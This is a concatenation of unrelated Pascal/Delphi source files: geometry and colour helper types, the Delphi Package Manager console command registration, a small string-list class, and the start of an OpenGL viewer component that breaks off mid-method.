r.SetColorParsed(AValue, false);
end;
class operator TPLColor.:=(AValue: TPLColor) r: TColor;
begin
r := RGBToColor(AValue.FR, AValue.FG, AValue.FB);
end;
class operator TPLColor.:=(AValue: TPLColor) r: TFPColor;
begin
r := TColorToFPColor(RGBToColor(AValue.FR, AValue.FG, AValue.FB));
r.Alpha := round((AValue.Alpha / 255) * $FFFF);
end;
class operator TPLColor.=(AColor1, AColor2: TPLColor) r: TPLBool;
begin
r := (AColor1.Red = AColor2.Red) and (AColor1.Green = AColor2.Green) and
(AColor1.Blue = AColor2.Blue) and (AColor1.Alpha = AColor2.Alpha);
end;
function TPLColor.ToString(AType: TPLColorType; ASpaceSeparated: TPLBool
): TPLString;
var
h, s, l: TPLFloat;
begin
case AType of
ctHex: Result := '#' + FR.ToHexString(2) + FG.ToHexString(2) + FB.ToHexString(2) + IfThen(FA < 255, FA.ToHexString(2), '');
ctRGBWithoutAlpha:
if ASpaceSeparated then Result := 'rgb(' + FR.ToString + ' ' + FG.ToString + ' ' + FB.ToString + ')' else
Result := 'rgb(' + FR.ToString + ', ' + FG.ToString + ', ' + FB.ToString + ')';
ctRGBWithAlpha:
if ASpaceSeparated then Result := 'rgb(' + FR.ToString + ' ' + FG.ToString + ' ' + FB.ToString + ' / ' + RoundTo(FA / 255, -2).ToString(PLFormatSettingsDef) + ')' else
Result := 'rgb(' + FR.ToString + ', ' + FG.ToString + ', ' + FB.ToString + ', ' + RoundTo(FA / 255, -2).ToString(PLFormatSettingsDef) + ')';
ctHSLWithAlpha, ctHSLWithoutAlpha: begin
RGB2HSL(FR, FG, FB, h, s, l);
Result := 'hsl(';
if ASpaceSeparated then Result += h.ToString(PLFormatSettingsDef) + 'deg ' + s.ToString(PLFormatSettingsDef) + '% ' + l.ToString(PLFormatSettingsDef) + '%' else
Result += h.ToString(PLFormatSettingsDef) + 'deg, ' + s.ToString(PLFormatSettingsDef) + '%, ' + l.ToString(PLFormatSettingsDef) + '%';
if AType = ctHSLWithAlpha then begin
if ASpaceSeparated then Result += ' / ' else Result += ', ';
Result += RoundTo(FA / 255, -2).ToString(PLFormatSettingsDef);
end;
Result += ')';
end;
end;
end;
function TPLColor.Mix(AColor: TPLColor; APercent: TPLFloat): TPLColor;
var
r, g, b: integer;
a: TPLFloat;
begin
r := trunc((AColor.FR - FR) * APercent);
g := trunc((AColor.FG - FG) * APercent);
b := trunc((AColor.FB - FB) * APercent);
a := (AColor.FA - FA) * APercent;
Result := '#' + hexStr(FR + r, 2) + hexStr(FG + g, 2) + hexStr(FB + b, 2) + hexStr(round(255 * (FA + a)), 2);
end;
function TPLColor.ChangeLightness(APercent: TPLFloat): TPLColor;
var
h, s, l: TPLFloat;
begin
if APercent = 0 then exit(self);
Result := self;
RGB2HSL(FR, FG, FB, h, s, l);
l := l + APercent * l;
HSL2RGB(h, s, l, Result.FR, Result.FG, Result.FB);
end;
class function TPLColor.Black: TPLColor;
begin
Result := TPLColor.Create(0, 0, 0);
end;
class function TPLColor.White: TPLColor;
begin
Result := TPLColor.Create(255, 255, 255);
end;
class function TPLColor.Transparent: TPLColor;
begin
Result := TPLColor.Create(0, 0, 0, 0);
end;
{ TPLPoint }
constructor TPLPoint.Create(AX, AY: T);
begin
FX := AX;
FY := AY;
end;
class function TPLPoint.Empty: TPLPoint;
begin
Result := Create(0, 0);
end;
function TPLPoint.IsEmpty: TPLBool;
begin
Result := (FX = 0) and (FY = 0);
end;
function TPLPoint.Rotate(APivot: TPLPoint; AAngleDeg: TPLFloat): TPLPoint;
var
s, c: TPLFloat;
begin
AAngleDeg := degtorad(AAngleDeg);
s := sin(AAngleDeg);
c := cos(AAngleDeg);
Result := Self - APivot;
Result := TPLPoint.Create(Variant(Result.X * c - Result.Y * s), Variant(Result.X * s + Result.Y * c));
Result := Result + APivot;
end;
function TPLPoint.RotateClockwise(APivot: TPLPoint; AAngleDeg: TPLFloat): TPLPoint;
var
s, c: TPLFloat;
begin
AAngleDeg := degtorad(AAngleDeg);
s := sin(AAngleDeg);
c := cos(AAngleDeg);
Result := Self - APivot;
Result := TPLPoint.Create(Variant(Result.X * c + Result.Y * s), Variant(Result.X * s - Result.Y * c));
Result := Result + APivot;
end;
class operator TPLPoint.><(a, b: TPLPoint) r: TPLFloat;
begin
r := sqrt(power(a.X - b.X, 2) + power(a.Y - b.Y, 2));
end;
class operator TPLPoint.-(a, b: TPLPoint) r: TPLPoint;
begin
r := TPLPoint.Create(a.X - b.X, a.Y - b.Y);
end;
class operator TPLPoint.+(a, b: TPLPoint) r: TPLPoint;
begin
r := TPLPoint.Create(a.X + b.X, a.Y + b.Y);
end;
class operator TPLPoint.:=(p: TPoint) r: TPLPoint;
begin
r := TPLPoint.Create(p.x, p.y);
end;
class operator TPLPoint.:=(p: TPLPoint) r: TPoint;
begin
r := TPoint.Create(round(TPLFloat(p.FX)), round(TPLFloat(p.FY)));
end;
class operator TPLPoint.not(p: TPLPoint) r: TPLPoint;
begin
r := TPLPoint.Create(-p.FX, -p.FY);
end;
class operator TPLPoint.=(a, b: TPLPoint) r: TPLBool;
begin
r := (a.FX = b.FX) and (a.FY = b.FY);
end;
{ TPLRect }
function TPLRect.GetTopLeft: TPLPointT;
begin
Result := TPLPointT.Create(Left, Top);
end;
function TPLRect.GetBottomLeft: TPLPointT;
begin
Result := TPLPointT.Create(Left, Top + Height);
end;
function TPLRect.GetBottom: T;
begin
Result := Top + Height;
end;
function TPLRect.GetBottomRight: TPLPointT;
begin
Result := TPLPointT.Create(Left + Width, Top + Height);
end;
function TPLRect.GetMiddle: TPLPointT;
begin
Result := TPLPointT.Create(Left + T(Width / 2), Top + T(Height / 2));
end;
function TPLRect.GetRight: T;
begin
Result := Left + Width;
end;
function TPLRect.GetTopRight: TPLPointT;
begin
Result := TPLPointT.Create(Left + Width, Top);
end;
procedure TPLRect.SetBottom(AValue: T);
begin
Height := AValue - Top;
end;
procedure TPLRect.SetRight(AValue: T);
begin
Width := AValue - Left;
end;
constructor TPLRect.Create(ALeft, ATop, AWidth, AHeight: T);
begin
FLeft := ALeft;
FTop := ATop;
FWidth := AWidth;
FHeight := AHeight;
end;
function TPLRect.IsEmpty: TPLBool;
begin
Result := (Width <= 0) or (Height <= 0);
end;
class function TPLRect.Empty: TPLRect;
begin
Result := TPLRect.Create(0, 0, 0, 0);
end;
function TPLRect.Inflate(AX, AY: T): TPLRect;
begin
Result := TPLRect.Create(FLeft + AX, FTop + AY, FWidth - AX * 2, FHeight - AY * 2);
end;
function TPLRect.Inflate(ALeft, ATop, AWidth, AHeight: T): TPLRect;
begin
Result := TPLRect.Create(FLeft + ALeft, FTop + ATop, FWidth - AWidth, FHeight - AHeight);
end;
procedure TPLRect.SetSize(const AWidth, AHeight: T);
begin
FWidth := AWidth;
FHeight := AHeight;
end;
procedure TPLRect.SetPosition(const ALeft, ATop: T);
begin
FLeft := ALeft;
FTop := ATop;
end;
function TPLRect.PointsPointers: TPLTypePointerArray;
begin
Result[0] := @FLeft;
Result[1] := @FTop;
Result[2] := @FWidth;
Result[3] := @FHeight;
end;
function TPLRect.Points: TPLTypeArray;
begin
Result[0] := FLeft;
Result[1] := FTop;
Result[2] := FWidth;
Result[3] := FHeight;
end;
class operator TPLRect.**(a: TPLRect; b: TPLPointT) r: TPLRect;
begin
r := a;
r.FLeft := b.X - T(r.Width / 2);
r.FTop := b.Y - T(r.Height / 2);
end;
class operator TPLRect.:=(a: TPLRect) r: TRect;
begin
r := TRect.Create(round(TPLFloat(a.Left)), round(TPLFloat(a.Top)), round(TPLFloat(a.Right)), round(TPLFloat(a.Bottom)));
end;
class operator TPLRect.:=(a: TRect) r: TPLRect;
begin
r := TPLRect.Create(a.Left, a.Top, a.Width, a.Height);
end;
class operator TPLRect.=(a, b: TPLRect) r: TPLBool;
begin
r := (a.Left = b.Left) and (a.Top = b.Top) and (a.Width = b.Width) and (a.Height = b.Height);
end;
class operator TPLRect.in(a, b: TPLRect) r: TPLBool;
begin
r := (a.GetTopLeft in b) and (a.GetTopRight in b) and (a.GetBottomLeft in b)
and (a.GetBottomRight in b);
end;
class operator TPLRect.in(a: TPLPointT; b: TPLRect) r: TPLBool;
begin
Result := not b.IsEmpty and (b.Left <= a.X) and (b.Left + b.Width > a.X) and
(b.Top <= a.Y) and (b.Top + b.Height > a.Y);
end;
operator :=(p: TPLPointF) r: TPLPointI;
begin
r := TPLPointI.Create(round(p.X), round(p.Y));
end;
operator :=(p: TPLPointI) r: TPLPointF;
begin
r := TPLPointF.Create(p.X, p.Y);
end;
operator :=(p: TPLPointS) r: TPLPointI;
begin
r := TPLPointI.Create(p.X, p.Y);
end;
operator :=(p: TPLPointI) r: TPLPointS;
begin
r := TPLPointS.Create(p.X, p.Y);
end;
operator * (p: TPLPointF; q: TPLFloat) r: TPLPointF;
begin
r := TPLPointF.Create(p.X * q, p.Y * q);
end;
operator * (q: TPLFloat; p: TPLPointF) r: TPLPointF;
begin
r := TPLPointF.Create(p.X * q, p.Y * q);
end;
operator :=(p: TPLRectF) r: TPLRectI;
begin
r := TPLRectI.Create(round(p.Left), round(p.Top), round(p.Width), round(p.Height));
end;
operator :=(p: TPLRectI) r: TPLRectF;
begin
r := TPLRectF.Create(p.Left, p.Top, p.Width, p.Height);
end;
{ TPLVector }
function TPLVector.GetElement(const AIndex: TPLInt): T;
begin
Result := Elements[AIndex];
end;
procedure TPLVector.SetElement(const AIndex: TPLInt; AValue: T);
begin
Elements[AIndex] := AValue;
end;
constructor TPLVector.Create(const AData: array of T);
var
i: TPLInt;
begin
if Length(AData) <> Length(Elements) then exit;
for i := 0 to Length(Elements)-1 do Elements[i] := AData[i];
end;
class function TPLVector.Empty: TPLVector;
var
i: TPLInt;
begin
for i := 0 to Length(Result.Elements)-1 do
Result.Elements[i] := Default(T);
end;
procedure TPLVector.Reset;
begin
Self := Empty;
end;
end.
|
{***************************************************************************}
{ }
{ Delphi Package Manager - DPM }
{ }
{ Copyright © 2019 Vincent Parrett and contributors }
{ }
{ vincent@finalbuilder.com }
{ https://www.finalbuilder.com }
{ }
{ }
{***************************************************************************}
{ }
{ Licensed under the Apache License, Version 2.0 (the "License"); }
{ you may not use this file except in compliance with the License. }
{ You may obtain a copy of the License at }
{ }
{ http://www.apache.org/licenses/LICENSE-2.0 }
{ }
{ Unless required by applicable law or agreed to in writing, software }
{ distributed under the License is distributed on an "AS IS" BASIS, }
{ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. }
{ See the License for the specific language governing permissions and }
{ limitations under the License. }
{ }
{***************************************************************************}
unit DPM.Console.Reg;
interface
uses
Spring.Container;
procedure InitConsole(const container : TContainer);
implementation
uses
DPM.Console.Command,
DPM.Console.Command.Factory,
DPM.Console.Command.Cache,
DPM.Console.Command.Config,
DPM.Console.Command.Delete,
DPM.Console.Command.ExitCodes,
DPM.Console.Command.Help,
DPM.Console.Command.Install,
DPM.Console.Command.List,
DPM.Console.Command.Pack,
DPM.Console.Command.Push,
DPM.Console.Command.Uninstall,
DPM.Console.Command.Restore,
DPM.Console.Command.SetApiKey,
DPM.Console.Command.Sign,
DPM.Console.Command.Sources,
DPM.Console.Command.Spec,
DPM.Console.Command.Update,
DPM.Console.Command.Verify,
DPM.Console.Command.Why,
DPM.Console.Command.Info,
DPM.Core.Logging,
DPM.Console.Logger,
DPM.Console.Writer,
{$IFDEF MSWINDOWS}
DPM.Console.Writer.Windows
{$ENDIF}
{$IFDEF MACOS}
DPM.Console.MacOS
{$ENDIF};
procedure InitConsole(const container : TContainer);
var
console : IConsoleWriter;
begin
{$IFDEF MSWINDOWS}
console := TWindowsConsole.Create;
{$ENDIF}
{$IFDEF MACOS}
console := TMacOSConsole.Create;
{$ENDIF}
container.RegisterInstance<IConsoleWriter>(console);
container.RegisterType<ILogger, TDPMConsoleLogger>.AsSingleton();
container.RegisterType<ICommandHandler,TCacheCommand>('command.cache');
container.RegisterType<ICommandHandler,TConfigCommand>('command.config');
container.RegisterType<ICommandHandler,TDeleteCommand>('command.delete');
container.RegisterType<ICommandHandler,TExitCodesCommand>('command.exitcodes');
container.RegisterType<ICommandHandler,THelpCommand>('command.help');
container.RegisterType<ICommandHandler,TInstallCommand>('command.install');
container.RegisterType<ICommandHandler,TListCommand>('command.list');
container.RegisterType<ICommandHandler,TPackCommand>('command.pack');
container.RegisterType<ICommandHandler,TPushCommand>('command.push');
container.RegisterType<ICommandHandler,TUninstallCommand>('command.uninstall');
container.RegisterType<ICommandHandler,TRestoreCommand>('command.restore');
container.RegisterType<ICommandHandler,TSetApiKeyCommand>('command.setapikey');
container.RegisterType<ICommandHandler,TSignCommand>('command.sign');
container.RegisterType<ICommandHandler,TSourcesCommand>('command.sources');
container.RegisterType<ICommandHandler,TSpecCommand>('command.spec');
container.RegisterType<ICommandHandler,TUpdateCommand>('command.update');
container.RegisterType<ICommandHandler,TVerifyCommand>('command.verify');
container.RegisterType<ICommandHandler,TWhyCommand>('command.why');
container.RegisterType<ICommandHandler,TInfoCommand>('command.info');
container.RegisterType<ICommandFactory,TCommandFactory>;
end;
end.
|
unit StrList;
interface
type
TStrList = Class(TObject)
private
vList: Array of String;
ListLn: Integer;
public
constructor Create;
procedure Add(Text: String);
function Text: String;
function Strings(Index: Integer): String;
procedure NewVar(Index: Integer; newtext: String);
procedure Clear;
function Count: Integer;
end;
implementation
constructor TStrList.Create;
begin
ListLn := 0;
SetLength(vList, ListLn + 1);
end;
procedure TStrList.Add(Text: String);
begin
SetLength(vList, ListLn + 1);
vList[Listln] := Text;
Inc(Listln);
end;
procedure TStrList.Clear;
var
i: Integer;
begin
For i := 0 to ListLn-1 do
vList[i] := '';
Listln := 0;
end;
function TStrList.Text: String;
var
i: Integer;
Txt: String;
begin
For i := 0 to ListLn-1 do
Txt := Txt + vList[i] + #13;
Txt := Copy(Txt, 1, Length(Txt)-1);
Result := Txt;
end;
function TStrList.Strings(Index: Integer): String;
begin
Result := vList[Index];
end;
procedure TStrList.NewVar(Index: Integer; newtext: String);
begin
vList[Index] := newtext;
end;
function TStrList.Count: Integer;
begin
Result := ListLn;
end;
end.
|
unit GLDViewer;
interface
uses
Windows, SysUtils, Classes, Controls, Messages,
Graphics, GL, GLDConst, GLDTypes, GLDClasses;
const
GLD_PF_VERSION_DEFAULT = 1;
GLD_PF_FLAGS_DEFAULT = PFD_DRAW_TO_WINDOW or
PFD_SUPPORT_OPENGL or
PFD_DOUBLEBUFFER;
GLD_PF_PIXELTYPE_DEFAULT = PFD_TYPE_RGBA;
GLD_PF_LAYERTYPE_DEFAULT = PFD_MAIN_PLANE;
GLD_PF_COLORBITS_DEFAULT = 32;
GLD_PF_REDBITS_DEFAULT = 8;
GLD_PF_REDSHIFT_DEFAULT = 16;
GLD_PF_GREENBITS_DEFAULT = 8;
GLD_PF_GREENSHIFT_DEFAULT = 8;
GLD_PF_BLUEBITS_DEFAULT = 8;
GLD_PF_BLUESHIFT_DEFAULT = 0;
GLD_PF_ALPHABITS_DEFAULT = 8;
GLD_PF_ALPHASHIFT_DEFAULT = 24;
GLD_PF_ACCUMBITS_DEFAULT = 0;
GLD_PF_ACCUMREDBITS_DEFAULT = 0;
GLD_PF_ACCUMGREENBITS_DEFAULT = 0;
GLD_PF_ACCUMBLUEBITS_DEFAULT = 0;
GLD_PF_ACCUMALPHABITS_DEFAULT = 0;
GLD_PF_DEPTHBITS_DEFAULT = 24;
GLD_PF_STENCILBITS_DEFAULT = 0;
GLD_SO_COLORMASK_DEFAULT = [Red, Green, Blue, Alpha];
type
TGLDStateOptions = class;
TGLDViewer = class;
TGLDViewer = class(TWinControl)
private
FDeviceContext: HDC;
FRenderingContext: HGLRC;
FOptions: TGLDStateOptions;
FOnRender: TGLDMethod;
procedure WMPaint(var Message: TWMPaint); message WM_PAINT;
procedure WMSize(var Message: TWMSize); message WM_SIZE;
procedure SetStateOptions(Value: TGLDStateOptions);
procedure SetOnRender(Value: TGLDMethod);
protected
procedure Click; override;
procedure DoChange(Sender: TObject);
public
constructor Create(AOwner: TComponent); override;
destructor Destroy; override;
procedure CreateWnd; override;
procedure RecreateWnd;
procedure MakeCurrent;
procedure Render; virtual;
procedure SwapBuffers;
property DC: HDC read FDeviceContext;
property RC: HGLRC read FRenderingContext;
property DeviceContext: HDC read FDeviceContext;
property RenderingContext: HGLRC read FRenderingContext;
published
property Align;
property Width;
property Height;
property PopupMenu;
property StateOptions: TGLDStateOptions read FOptions write SetStateOptions;
property OnRender: TGLDMethod read FOnRender write SetOnRender;
property OnClick;
property OnEnter;
property OnExit;
property OnKeyDown;
property OnKeyPress;
property OnKeyUp;
property OnMouseDown;
property OnMouseMove;
property OnMouseUp;
property OnMouseWheel;
end;
TGLDStateOptions = class(TGLDSysClass)
private
FAlphaFunc: TGLDAlphaFunc;
FAlphaFuncRef: GLclampf;
FBlendFuncSourceFactor: TGLDBlendFuncSourceFactor;
FBlendFuncDestinationFactor: TGLDBlendFuncDestinationFactor;
FClearAccum: TGLDColor4fClass;
FClearColor: TGLDColor4fClass;
FClearDepth: GLclampd;
FClearIndex: GLfloat;
FClearStencil: GLint;
FColorMasks: TGLDColorMasks;
FCullFace: TGLDCullFace;
FDepthFunc: TGLDDepthFunc;
FDepthMask: GLboolean;
FDepthRangeNear: GLclampd;
FDepthRangeFar: GLclampd;
FEnableAlphaTest: GLboolean;
FEnableBlend: GLboolean;
FEnableCullFace: GLboolean;
FEnableDepthTest: GLboolean;
FEnableDither: GLboolean;
FEnableFog: GLboolean;
FEnableLighting: GLboolean;
FEnableLineSmooth: GLboolean;
FEnableLineStipple: GLboolean;
FEnableLogicOp: GLboolean;
FEnableNormalize: GLboolean;
FEnablePointSmooth: GLboolean;
FEnablePolygonSmooth: GLboolean;
FEnablePolygonStipple: GLboolean;
FEnableScissorTest: GLboolean;
FEnableStencilTest: GLboolean;
FFogColor: TGLDColor4fClass;
FFogDensity: GLfloat;
FFogEnd: GLfloat;
FFogHintMode: TGLDHintMode;
FFogIndex: GLint;
FFogMode: TGLDFogMode;
FFogStart: GLfloat;
FFrontFace: TGLDFrontFace;
FIndexMask: GLuint;
FLineSmoothHintMode: TGLDHintMode;
FLineStippleFactor: GLint;
FLineStipplePattern: GLushort;
FLineWidth: GLfloat;
FLogicOp: TGLDLogicOp;
FPerspectiveCorrectionHintMode: TGLDHintMode;
FPointSize: GLfloat;
FPointSmoothHintMode: TGLDHintMode;
FPolygonModeBack: TGLDPolygonMode;
FPolygonModeFront: TGLDPolygonMode;
FPolygonSmoothHintMode: TGLDHintMode;
FShadeModel: TGLDShadeModel;
FStencilFunc: TGLDStencilFunc;
FStencilFuncRef: GLint;
FStencilFuncMask: GLuint;
FStencilOpFail: TGLDStencilOp;
FStencilOpZFail: TGLDStencilOp;
FStencilOpZPass: TGLDStencilOp;
function GetAlphaFunc: TGLDAlphaFunc;
procedure SetAlphaFunc(Value: TGLDAlphaFunc);
function GetAlphaFuncRef: GLclampf;
procedure SetAlphaFuncRef(Value: GLclampf);
function GetBlendFuncSourceFactor: TGLDBlendFuncSourceFactor;
procedure SetBlendFuncSourceFactor(Value: TGLDBlendFuncSourceFactor);
function GetBlendFuncDestinationFactor: TGLDBlendFuncDestinationFactor;
procedure SetBlendFuncDestinationFactor(Value: TGLDBlendFuncDestinationFactor);
function GetClearAccum: TGLDColor4fClass;
procedure SetClearAccum(Value: TGLDColor4fClass);
function GetClearColor: TGLDColor4fClass;
procedure SetClearColor(Value: TGLDColor4fClass);
function GetClearDepth: GLclampd;
procedure SetClearDepth(Value: GLclampd);
function GetClearIndex: GLfloat;
procedure SetClearIndex(Value: GLfloat);
function GetClearStencil: GLint;
procedure SetClearStencil(Value: GLint);
function GetColorMasks: TGLDColorMasks;
procedure SetColorMasks(Value: TGLDColorMasks);
function GetCullFace: TGLDCullFace;
procedure SetCullFace(Value: TGLDCullFace);
function GetDepthFunc: TGLDDepthFunc;
procedure SetDepthFunc(Value: TGLDDepthFunc);
function GetDepthMask: GLboolean;
procedure SetDepthMask(Value: GLboolean);
function GetDepthRangeNear: GLclampd;
procedure SetDepthRangeNear(Value: GLclampd);
function GetDepthRangeFar: GLclampd;
procedure SetDepthRangeFar(Value: GLclampd);
function GetEnableAlphaTest: GLboolean;
procedure SetEnableAlphaTest(Value: GLboolean);
function GetEnableBlend: GLboolean;
procedure SetEnableBlend(Value: GLboolean);
function GetEnableCullFace: GLboolean;
procedure SetEnableCullFace(Value: GLboolean);
function GetEnableDepthTest: GLboolean;
procedure SetEnableDepthTest(Value: GLboolean);
function GetEnableDither: GLboolean;
procedure SetEnableDither(Value: GLboolean);
function GetEnableFog: GLboolean;
procedure SetEnableFog(Value: GLboolean);
function GetEnableLighting: GLboolean;
procedure SetEnableLighting(Value: GLboolean);
function GetEnableLineSmooth: GLboolean;
procedure SetEnableLineSmooth(Value: GLboolean);
function GetEnableLineStipple: GLboolean;
procedure SetEnableLineStipple(Value: GLboolean);
function GetEnableLogicOp: GLboolean;
procedure SetEnableLogicOp(Value: GLboolean);
function GetEnableNormalize: GLboolean;
procedure SetEnableNormalize(Value: GLboolean);
function GetEnablePointSmooth: GLboolean;
procedure SetEnablePointSmooth(Value: GLboolean);
function GetEnablePolygonSmooth: GLboolean;
procedure SetEnablePolygonSmooth(Value: GLboolean);
function GetEnablePolygonStipple: GLboolean;
procedure SetEnablePolygonStipple(Value: GLboolean);
function GetEnableScissorTest: GLboolean;
procedure SetEnableScissorTest(Value: GLboolean);
function GetEnableStencilTest: GLboolean;
procedure SetEnableStencilTest(Value: GLboolean);
function GetFogColor: TGLDColor4fClass;
procedure SetFogColor(Value: TGLDColor4fClass);
function GetFogDensity: GLfloat;
procedure SetFogDensity(Value: GLfloat);
function GetFogEnd: GLfloat;
procedure SetFogEnd(Value: GLfloat);
function GetFogHintMode: TGLDHintMode;
procedure SetFogHintMode(Value: TGLDHintMode);
function GetFogIndex: GLint;
procedure SetFogIndex(Value: GLint);
function GetFogMode: TGLDFogMode;
procedure SetFogMode(Value: TGLDFogMode);
function GetFogStart: GLfloat;
procedure SetFogStart(Value: GLfloat);
function GetFrontFace: TGLDFrontFace;
procedure SetFrontFace(Value: TGLDFrontFace);
function GetIndexMask: GLuint;
procedure SetIndexMask(Value: GLuint);
function GetLineSmoothHintMode: TGLDHintMode;
procedure SetLineSmoothHintMode(Value: TGLDHintMode);
function GetLineStippleFactor: GLint;
procedure SetLineStippleFactor(Value: GLint);
function GetLineStipplePattern: GLushort;
procedure SetLineStipplePattern(Value: GLushort);
function GetLineWidth: GLfloat;
procedure SetLineWidth(Value: GLfloat);
function GetLogicOp: TGLDLogicOp;
procedure SetLogicOp(Value: TGLDLogicOp);
function GetPerspectiveCorrectionHintMode: TGLDHintMode;
procedure SetPerspectiveCorrectionHintMode(Value: TGLDHintMode);
function GetPointSize: GLfloat;
procedure SetPointSize(Value: GLfloat);
function GetPointSmoothHintMode: TGLDHintMode;
procedure SetPointSmoothHintMode(Value: TGLDHintMode);
function GetPolygonModeBack: TGLDPolygonMode;
procedure SetPolygonModeBack(Value: TGLDPolygonMode);
function GetPolygonModeFront: TGLDPolygonMode;
procedure SetPolygonModeFront(Value: TGLDPolygonMode);
function GetPolygonSmoothHintMode: TGLDHintMode;
procedure SetPolygonSmoothHintMode(Value: TGLDHintMode);
function GetShadeModel: TGLDShadeModel;
procedure SetShadeModel(Value: TGLDShadeModel);
function GetStencilFunc: TGLDStencilFunc;
procedure SetStencilFunc(Value: TGLDStencilFunc);
function GetStencilFuncRef: GLint;
procedure SetStencilFuncRef(Value: GLint);
function GetStencilFuncMask: GLuint;
procedure SetStencilFuncMask(Value: GLuint);
function GetStencilOpFail: TGLDStencilOp;
procedure SetStencilOpFail(Value: TGLDStencilOp);
function GetStencilOpZFail: TGLDStencilOp;
procedure SetStencilOpZFail(Value: TGLDStencilOp);
function GetStencilOpZPass: TGLDStencilOp;
procedure SetStencilOpZPass(Value: TGLDStencilOp);
protected
procedure SetOnChange(Value: TNotifyEvent); override;
public
constructor Create(AOwner: TPersistent); override;
destructor Destroy; override;
procedure Assign(Source: TPersistent); override;
procedure LoadFromStream(Stream: TStream); override;
procedure SaveToStream(Stream: TStream); override;
procedure Apply;
published
property AlphaFunc: TGLDAlphaFunc read GetAlphaFunc write SetAlphaFunc default afAlways;
property AlphaFuncRef: GLclampf read GetAlphaFuncRef write SetAlphaFuncRef;
property BlendFuncSourceFactor: TGLDBlendFuncSourceFactor read GetBlendFuncSourceFactor write SetBlendFuncSourceFactor default sfOne;
property BlendFuncDestinationFactor: TGLDBlendFuncDestinationFactor read GetBlendFuncDestinationFactor write SetBlendFuncDestinationFactor default dfZero;
property ClearAccum: TGLDColor4fClass read GetClearAccum write SetClearAccum;
property ClearColor: TGLDColor4fClass read GetClearColor write SetClearColor;
property ClearDepth: GLclampd read GetClearDepth write SetClearDepth;
property ClearIndex: GLfloat read GetClearIndex write SetClearIndex;
property ClearStencil: GLint read GetClearStencil write SetClearStencil default 0;
property ColorMask: TGLDColorMasks read GetColorMasks write SetColorMasks default GLD_SO_COLORMASK_DEFAULT;
property CullFace: TGLDCullFace read GetCullFace write SetCullFace default cfBack;
property DepthFunc: TGLDDepthFunc read GetDepthFunc write SetDepthFunc default dfLess;
property DepthMask: GLboolean read GetDepthMask write SetDepthMask default True;
property DepthRangeNear: GLclampd read GetDepthRangeNear write SetDepthRangeNear;
property DepthRangeFar: GLclampd read GetDepthRangeFar write SetDepthRangeFar;
property EnableAlphaTest: GLboolean read GetEnableAlphaTest write SetEnableAlphaTest default False;
property EnableBlend: GLboolean read GetEnableBlend write SetEnableBlend default False;
property EnableCullFace: GLboolean read GetEnableCullFace write SetEnableCullFace default False;
property EnableDepthTest: GLboolean read GetEnableDepthTest write SetEnableDepthTest default True;
property EnableDither: GLboolean read GetEnableDither write SetEnableDither default False;
property EnableFog: GLboolean read GetEnableFog write SetEnableFog default False;
property EnableLighting: GLboolean read GetEnableLighting write SetEnableLighting default False;
property EnableLineSmooth: GLboolean read GetEnableLineSmooth write SetEnableLineSmooth default False;
property EnableLineStipple: GLboolean read GetEnableLineStipple write SetEnableLineStipple default False;
property EnableLogicOp: GLboolean read GetEnableLogicOp write SetEnableLogicOp default False;
property EnableNormalize: GLboolean read GetEnableNormalize write SetEnableNormalize default False;
property EnablePointSmooth: GLboolean read GetEnablePointSmooth write SetEnablePointSmooth default False;
property EnablePolygonSmooth: GLboolean read GetEnablePolygonSmooth write SetEnablePolygonSmooth default False;
property EnablePolygonStipple: GLboolean read GetEnablePolygonStipple write SetEnablePolygonStipple default False;
property EnableScissorTest: GLboolean read GetEnableScissorTest write SetEnableScissorTest default False;
property EnableStencilTest: GLboolean read GetEnableStencilTest write SetEnableStencilTest default False;
property FogColor: TGLDColor4fClass read GetFogColor write SetFogColor;
property FogDensity: GLfloat read GetFogDensity write SetFogDensity;
property FogEnd: GLfloat read GetFogEnd write SetFogEnd;
property FogHintMode: TGLDHintMode read GetFogHintMode write SetFogHintMode default hmDontCare;
property FogIndex: GLint read GetFogIndex write SetFogIndex default 0;
property FogMode: TGLDFogMode read GetFogMode write setFogMode default fmExp;
property FogStart: GLfloat read GetFogStart write SetFogStart;
property FrontFace: TGLDFrontFace read GetFrontFace write SetFrontFace default ffCCW;
property IndexMask: GLuint read GetIndexMask write SetIndexMask default $FFFFFFFF;
property LineSmoothHintMode: TGLDHintMode read GetLineSmoothHintMode write SetLineSmoothHintMode default hmDontCare;
property LineStippleFactor: GLint read GetLineStippleFactor write SetLineStippleFactor default 1;
property LineStipplePattern: GLushort read GetLineStipplePattern write SetLineStipplePattern default $FFFF;
property LineWidth: GLfloat read GetLineWidth write SetLineWidth;
property LogicOp: TGLDLogicOp read GetLogicOp write SetLogicOp default loCopy;
property PerspectiveCorrectionHintMode: TGLDHintMode read GetPerspectiveCorrectionHintMode write SetPerspectiveCorrectionHintMode default hmNicest;
property PointSize: GLfloat read GetPointSize write SetPointSize;
property PointSmoothHintMode: TGLDHintMode read GetPointSmoothHintMode write SetPointSmoothHintMode default hmDontCare;
property PolygonModeBack: TGLDPolygonMode read GetPolygonModeBack write SetPolygonModeBack default pmFill;
property PolygonModeFront: TGLDPolygonMode read GetPolygonModeFront write SetPolygonModeFront default pmFill;
property PolygonSmoothHintMode: TGLDHintMode read GetPolygonSmoothHintMode write SetPolygonSmoothHintMode default hmDontCare;
property ShadeModel: TGLDShadeModel read GetShadeModel write SetShadeModel default smSmooth;
property StencilFunc: TGLDStencilFunc read GetStencilFunc write SetStencilFunc default sfAlways;
property StencilFuncRef: GLint read GetStencilFuncRef write SetStencilFuncRef default 0;
property StencilFuncMask: GLuint read GetStencilFuncMask write SetStencilFuncMask default $FFFFFFFF;
property StencilOpFail: TGLDStencilOp read GetStencilOpFail write SetStencilOpFail default soKeep;
property StencilOpZFail: TGLDStencilOp read GetStencilOpZFail write SetStencilOpZFail default soKeep;
property StencilOpZPass: TGLDStencilOp read GetStencilOpZPass write SetStencilOpZPass default soKeep;
end;
procedure Register;
implementation
uses
dialogs, Forms, GLDX;
constructor TGLDViewer.Create(AOwner: TComponent);
begin
inherited Create(AOwner);
FOptions := TGLDStateOptions.Create(Self);
FOptions.OnChange := DoChange;
ControlStyle := [csClickEvents,
csDoubleClicks, csOpaque, csCaptureMouse];
if csDesigning in ComponentState then
ControlStyle := ControlStyle + [csFramed];
Width := 100;
Height := 100;
FDeviceContext := 0;
FRenderingContext := 0;
FOnRender := nil;
end;
destructor TGLDViewer.Destroy;
begin
if FRenderingContext <> 0 then
wglDeleteContext(FRenderingContext);
FDeviceContext := 0;
FRenderingContext := 0;
FOptions.Free;
inherited Destroy;
end;
procedure TGLDViewer.CreateWnd;
var
